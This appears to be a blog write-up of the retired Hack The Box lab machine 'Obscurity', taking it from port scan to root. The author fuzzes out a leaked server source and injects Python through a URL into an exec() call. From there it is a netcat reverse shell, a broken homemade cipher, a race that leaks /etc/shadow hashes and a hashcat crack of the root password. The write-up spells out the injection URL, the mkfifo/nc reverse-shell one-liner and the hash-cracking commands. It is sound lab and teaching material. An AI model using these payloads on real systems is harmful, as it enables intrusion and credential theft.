Hackthebox.eu - retired- obscurity
Recon
As is my custom I start with a simple up/down scan on all TCP ports to see what we can find
nmap -T4 -p- -oX ./nmapb.xml 10.10.10.168
I then convert the XML to HTML to make it look pretty
Xsltproc /root/Desktop/HTB/obscurity/nmapb.xml -o /root/Desktop/HTB/obscurity/nmapb.html
So we have port 22 and 8080 open. Let's do another scan with -A to finger os/services
nmap -T4 -A -p22,8080 -oX ./nmapf.xml 10.10.10.168
Then I again convert to html with the same Xsltproc cmd
Port 33 is OpenSSH 7.6p1
Port 8080 is something named BadHTTPServer, I've never heard of that
Let's see what we get when we browse to 8080
We get a web page for a company name obscura. They brag about writing all their own software from scratch so there should be no existing exploits for them.
Here they left a message for their Dev's that the source code for the web server is called "SuperSecureServer.py" in the secret development directory. That is interesting they are hosting the source code somewhere on this site, if we can find that source code we can maybe find some way to exploit it.
Let's try to find it.
We know the name of the file just not the directory in which it's stored. Normally I would throw Dirbuster or drib but since this is a custom app they might not get back the expected data and not find the folder. This might be a job better suited to a fuzzer. After trying around with a couple I came across this
Fuzz faster u fool
So I downloaded the tool and gave it a go
If you use the FUZZ keyword it will fuzz in the location
# ./ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
So here are giving ffuf the dirbuster word list directory-list-2.3.small and setting the target to http://10.10.10.168:8080 and since we know the name of the file but not the folder let's use the keyword FUZZ for the directory and supplying the known file name at the end
It didn't take long to find the file
develop [Status: 200, Size: 5892, Words: 1806, Lines: 171]
So let's pull up the file and see what we get
Cool we found the source code!
That's cool
I also found that there is a rudimentary file traversal on this system too
If we encoded / as %2f we can ../../../../ back to root and then try to find other files. If the file exists and is not txt file or another type in the mime type for the web server we get a 500 proving the file does exist on the system and a 404 when the file doesn't exist
Here is an example if we go to
We get this 404 since there is no file /etc/passwd111
But if we do
We get this instead. It seems to alternate in between connection reset and 500
Anyway, that was nice to see. I think we can move on to trying to exploit the SuperSecureSErver.py now
Exploit
So I'm okay with python, but I'm definitely not an expert. What do when looking through code is to see if there are comments and or strange things that we might use to leverage.
I'm not going to post all the code here but this is the part I focused on almost immediately
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
This is the part of the code that is responsible to actually serving up the file ( hence the name serverDoc)
This part especially got my attention
exec(info.format(path)) # This is how you do string formatting, right?
The comment is a pretty big clue that this is the exploitable bit of code.
If your not familiar with the exec() function in python have a read here: https://www.programiz.com/python-programming/methods/built-in/exec
The gist is this whatever is in the exec() function will execute as a on the fly created python program
Another interesting part of this python program is it imports os
Which means it can make calls directly to the system within the code
So where is the path variable coming from? Its coming from the URL so we can manipulate this input.. Which is split out in a tuple earlier in the code thanks to urllib.parse: https://docs.python.org/3/library/urllib.parse.html
So to recap we have function that takes user input and on the fly writes its only little python program and the os is accessible directly through that input…
Lets see if we can figure out a way to pass a call to the system.
Lets look at these lines at bit closer
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
So there are setting a variable name info and prepending with the text "output = 'Document:{}'"
*Notice the extra single quotes ' around Document:{}... that will be important in a minute
So if our URL was
Then if we follow the logic of the next two lines
info = "output = 'Document: {}'"
exec(info.format(path))
We would end up with something like this
Still see those single quotes?
We need to escape them so we can execute a second bit of code here
If we send a single quote to escape the first single then we could use the + to add an additional thing for the exec() function to run, but then we need to remember to stick the single quote back at the end in order for the code for operate
So in pseudo it would look something like this
'+do what we what to do+'
This is pretty standard injection stuff, you see it also in SQL injection a lot so what can we do to make sure our code is actually executing……
How about a ping to our attack box? Remember this python program imports os so we can make direct system calls, so what if we sent the box this injection
'+os.system("ping -c1 10.10.14.12")+'
http://10.10.10.168:8080/'+os.system("ping -c1 10.10.14.12")+'
Theoretically that should ping our HTB Tun0 ip
So lets setup a listener to see if we can capture a ping
# tcpdump -i tun0 -n icmp
It worked!! We can inject whatever we want into the URL and it could potentially run directly on the system..
Now this next part took me forever. I kept not getting a shell back with netcat
Eventually if found this page with a bunch of different reverse shells to try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
This utilizes mkfifo which is a named pipe to handle both the input and output of the shell
It's what ended up working for me.
But now we have to put it in our injection format
'+os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 4343 >/tmp/f")+'
Then combine that with the rest of the url and setup our listener
Our listener
# nc -lvp 4343
Payload with URL
http://10.10.10.168:8080/'+os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 4343 >/tmp/f")+'
Let's try it and see
All right we have a shell as www-data
Let's poke around and see what we can find
We can see a user dir
/home/robert
Passwordreminder.txt? That's interesting
$ cat ./passwordreminder.txt
ÑÈÌÉàÙÁÑ鯷¿k$
Looks like it might be encrypted. What about the other two txt files we can read
$ cat out.txt
¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v
$ cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
Hmmm there is also this SuperSecureCrypt.py I wonder if that is how they are encrypted the passwordreminder.txt and out.txt files
Here is some of the code
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
Let's focus on that Encrypt part to see if we can decipher it.
Ok it's taking a key and a file
Getting the ord()
What the ord does is take an ascii character and gives you an integer representation of the Unicode.. Basically it just assigns a number value to a character.
For each character in the input file and the key
Then it adds the ord's together and modulo's it by 255
Guess what modulo(ing) something by 255 does if the number is less than 255
NOTHING
So as long as the result of the ord for the combination of both characters is less than 255 not a damn thing happens with that part of code(hint…. They do not)
So the encryption is pretty simple, take two characters convert them to a number value and add the numbers together and that is the "encrypted" value which they then convert back to a character using chr() and storing the encrypted file
So how can we break this?
Well luckily they have an example setting on the server. There is the check.txt file and out.txt file assuming they used the same password to encrypt this as the passwordreminder.txt then we just need to find out the key they used to make the out.txt file from the check.txt file.
Here is what I did, found a python script online that will read a file each character at a time. I then modified it to print out the ords for each character
I found this code here :https://stackoverflow.com/questions/2988211/how-to-read-a-single-character-at-a-time-from-a-file-in-python
with open("filename") as fileobj:
for line in fileobj:
for ch in line:
print ch
Had lots of problems getting the correct ord back when I save it locally. So I used SImpleHTTPServer to wget the python files on the server
Attack: python -m SimpleHTTPServer 8080
CHeckit.py
with open("/home/robert/check.txt") as fileobj:
for line in fileobj:
for ch in line:
print ord(ch)
CharIT.py
with open("/home/robert/out.txt") as fileobj:
for line in fileobj:
for ch in line:
print(ord(ch))
The output from check.txt **** edited for brevity
69 110 99 114 121 112 116 105 110 103 32 116 104
Output from out.tx ****** edited for brevity
166 218 200 234 218 222 216 219 221 221 137 215
Now I used excel to match them up and did =sum (a1-b1) to do the subtraction for me
Pretty quickly I noticed what should be the key is repeating… This is a good sign since the encryption code had it just cycle back over if the data was longer than the key
Let's get the chr for these values and see if we get the key
97 = a
108 = l
101 = e
120 = x
97 = a
110 = n
100 = d
114 = r
111 = o
118 = v
105 = i
99 = c
104 = h
Alexandrovich
So the key he used to encrypt the test file as alexandrovich
Now let's decyrpt his password reminder
python3 ./SuperSecureCrypt.py -i ./passwordreminder.txt -o /tmp/circusmonkey/decrypted.txt -d -k alexandrovich
Lets read the output file
cat /tmp/circusmonkey/decrypted.txt
SecThruObsFTW
So SecThruObsFTW is hopefully his password
Lets try it
Yeah lets get that user.txt
robert@obscure:~$ cat user.txt
e44**********************************
On to root
Lets check is sudo permissions
robert@obscure:~/BetterSSH$ sudo -l
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Ok we can run this BetterSSH.py as root without a password let's see what it does
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
Oooohhh look at that its writing part of the shadow file to a dir
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
Let's break this down a bit
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
Here it creates a random string
Then they write the shadow file to a directory /tmp/SSH/******
Then sleeps for .1 seconds…
Then it goes on to delete the file.
So we need to find a way to monitor /tmp/SSH and cat out any files that get generated there…
Luckily there is watch
So I'll start up a second ssh connection to the box to watch this file while I run the BetterSSH.py from the other
The first time I try to execute the BetterSSH.py I got this error
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/ThW0WWNR'
A quick ls tells me there is no SSH folder in /tmp/
Let's make that for them
$ mkdir /tmp/SSH
On my second box I'm running
watch -n 0.1 "cat *"
Which should watch that folder every .1 seconds and cat the contents
From the first SSH I run the program again.
I can see it flash on the second screen when it read the file but, it goes away to quickly to read it….
Let's see if we can find a way to write the output to a file
Tee for the win
Tee writes to both standard output and file. Let's leverage that.
watch -n 0.1 "cat * | tee -a /tmp/output"
Run the BetterSSH.py again and try root
robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: toor
Incorrect pass
Let's check our output file
robert@obscure:~/BetterSSH$ cat /tmp/output
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
We got hashes!!!!!
Let's see if we can break those hashes
I dropped this into a file named roothash on my attacking computer
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
Hashid says is a sha-512
Let's call upon our second favorite kali cat… hashcat
hashcat -m 1800 -a0 ./roothash.txt /usr/share/wordlists/rockyou.txt -o ./cracked.txt --force --show
This site explains a little more on this process: https://samsclass.info/123/proj10/p12-hashcat.htm
Pretty quickly we get back the cracked password
cat ./cracked.txt
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:mercedes
mercedes
We are unable to ssh with the root user, but as robert we can SU to root using this password
robert@obscure:~/BetterSSH$ su
Password:
root@obscure:/home/robert/BetterSSH# whoami
root
Now we just need root hash
root@obscure:/home/robert/BetterSSH# cat /root/root.txt
51**********************************
Comments
Post a Comment